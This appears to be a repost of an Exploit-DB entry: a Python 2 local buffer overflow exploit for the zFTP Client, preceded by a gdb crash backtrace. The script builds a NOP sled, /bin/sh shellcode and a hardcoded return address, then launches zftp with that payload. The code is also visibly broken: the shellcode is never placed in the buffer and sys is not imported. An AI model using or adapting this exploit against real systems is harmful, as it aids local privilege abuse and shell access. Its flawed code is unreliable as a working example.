zFTP Client 20061220 – ‘Connection Name’ Local Buffer Overflow - 体验盒子

作者： Juan Sacco

日期： 2016-08-05

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/40203/

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# Exploit developed using Exploit Pack v5.4

# Exploit Author: Juan Sacco - http://www.exploitpack.com -

# jsacco@exploitpack.com

# Program affected: zFTP Client

# Affected value: NAME under FTP connection

# Where in the code: Line 30 in strcpy_chk.c

# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680 "/MACRO", destlen=0x50) at strcpy_chk.c:30

# Version: 20061220+dfsg3-4.1

#

# Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org

# Program description:ZFTP is a macro-extensible file transfer program which supports the

# transfer of formatted, unformatted and ZEBRA RZ files

# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb

# MD5sum: 524217187d28e4444d6c437ddd37e4de

# Website: http://cernlib.web.cern.ch/cernlib/

#

# gdb$ run <code>python -c 'print "A"*30'

# Starting program: /usr/bin/zftp <code>python -c 'print "A"*30'

# *** buffer overflow detected ***: /usr/bin/zftp terminated

# ======= Backtrace: =========

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]

# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]

# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]

# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]

# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]

# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():

try:

print "# zFTP Client - Local Buffer Overflow by Juan Sacco"

print "# This Exploit has been developed using Exploit Pack -

http://exploitpack.com"

# NOPSLED + SHELLCODE + EIP

buffersize = 100

nopsled = "\x90"*30

shellcode =

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

eip = "\x40\xf3\xff\xbf"

buffer = nopsled * (buffersize-len(shellcode)) + eip

subprocess.call(["zftp ",' ', buffer])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "Sorry, zFTP client- Not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Snap! Something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit zFTP Client -Local Overflow Exploit"

print "Author: Juan Sacco - Exploit Pack"

except IndexError:

howtousage()

run()